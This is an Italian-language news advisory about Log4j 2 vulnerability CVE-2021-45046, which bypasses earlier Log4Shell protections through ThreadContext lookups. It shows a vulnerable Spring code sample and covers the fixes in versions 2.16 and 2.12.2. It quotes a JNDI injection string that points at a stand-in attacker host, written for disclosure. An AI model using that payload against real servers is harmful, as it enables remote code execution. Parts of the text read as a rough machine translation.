Un'altra vulnerabilità è stata identificata nell'implementazione delle sostituzioni JNDI nella libreria Log4j 2 (CVE-2021-45046), che si verifica nonostante le correzioni aggiunte nella versione 2.15 e indipendentemente dall'uso dell'impostazione "log4j2.noFormatMsgLookup" per la protezione. Il problema è pericoloso soprattutto per le versioni precedenti di Log4j 2, protette tramite il flag "noFormatMsgLookup", poiché consente di aggirare la protezione contro una vulnerabilità precedente (Log4Shell, CVE-2021-44228) che consente di eseguire il proprio codice sulla server. Per gli utenti della versione 2.15, lo sfruttamento si limita a creare le condizioni affinché l'applicazione possa bloccarsi a causa dell'esaurimento delle risorse disponibili.
La vulnerabilità si verifica solo sui sistemi che utilizzano ricerche di contesto come ${ctx:loginId} o mappe di contesto dei thread come %X, %mdc e %MDC per la registrazione. L'operazione si riduce alla creazione delle condizioni per l'output dei dati contenenti sostituzioni JNDI nel log quando si utilizzano query di contesto o modelli MDC nell'applicazione che definiscono le regole per la formattazione dell'output nel log.
I ricercatori di LunaSec hanno notato che per le versioni di Log4j inferiori alla 2.15, questa vulnerabilità può essere utilizzata come nuovo vettore per un attacco Log4Shell che porta all'esecuzione di codice se vengono utilizzate espressioni ThreadContext durante l'output nel registro, in cui entrano dati esterni, indipendentemente da l'inclusione per proteggere il flag "noMsgFormatLookups" o il template "%m{nolookups}".
L'esclusione della protezione si riduce al fatto che invece della sostituzione diretta "${jndi:ldap://attacker.com/a}", questa espressione viene sostituita tramite il valore di una variabile intermedia utilizzata nelle regole per la formattazione dell'output sul tronco d'albero. Ad esempio, se viene utilizzata la query di contesto ${ctx:apiversion} durante l'output nel log, l'attacco può essere eseguito sostituendo i dati "${jndi:ldap://attacker.com/a}" nel valore scritto nella variabile apiversion. Esempio di codice vulnerabile: appender.console.layout.pattern = ${ctx:apiversion} - %d{aaaa-MM-gg HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Il valore dell'intestazione HTTP "X-Api-Version" viene passato a ThreadContext ThreadContext.put("apiversion" , apiVersion ); // Durante l'output nel log, il valore esterno di apiversion verrà elaborato utilizzando la sostituzione ${ctx:apiversion} logger.info("Ricevuta una richiesta per la versione API"); return "Ciao mondo!"; }
In Log4j 2.15, la vulnerabilità potrebbe essere sfruttata per eseguire attacchi DoS quando si passano valori a ThreadContext che causerebbero il loop del modello di formattazione dell'output.
Per bloccare la vulnerabilità sono stati pubblicati gli aggiornamenti 2.16 e 2.12.2. Nel ramo Log4j 2.16, oltre alle correzioni implementate nella versione 2.15 e al collegamento delle query LDAP JNDI a "localhost", la funzionalità JNDI è completamente disabilitata per impostazione predefinita ed è stato rimosso il supporto per i modelli di sostituzione dei messaggi. Come soluzione alternativa alla sicurezza, si consiglia di rimuovere la classe JndiLookup dal classpath (ad esempio, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Puoi tenere traccia della comparsa delle correzioni nei pacchetti sulle pagine delle distribuzioni (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dei produttori di piattaforme Java (GitHub, Docker, Oracle, vmWare, Broadcom e Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ecc.).
Fonte: opennet.ru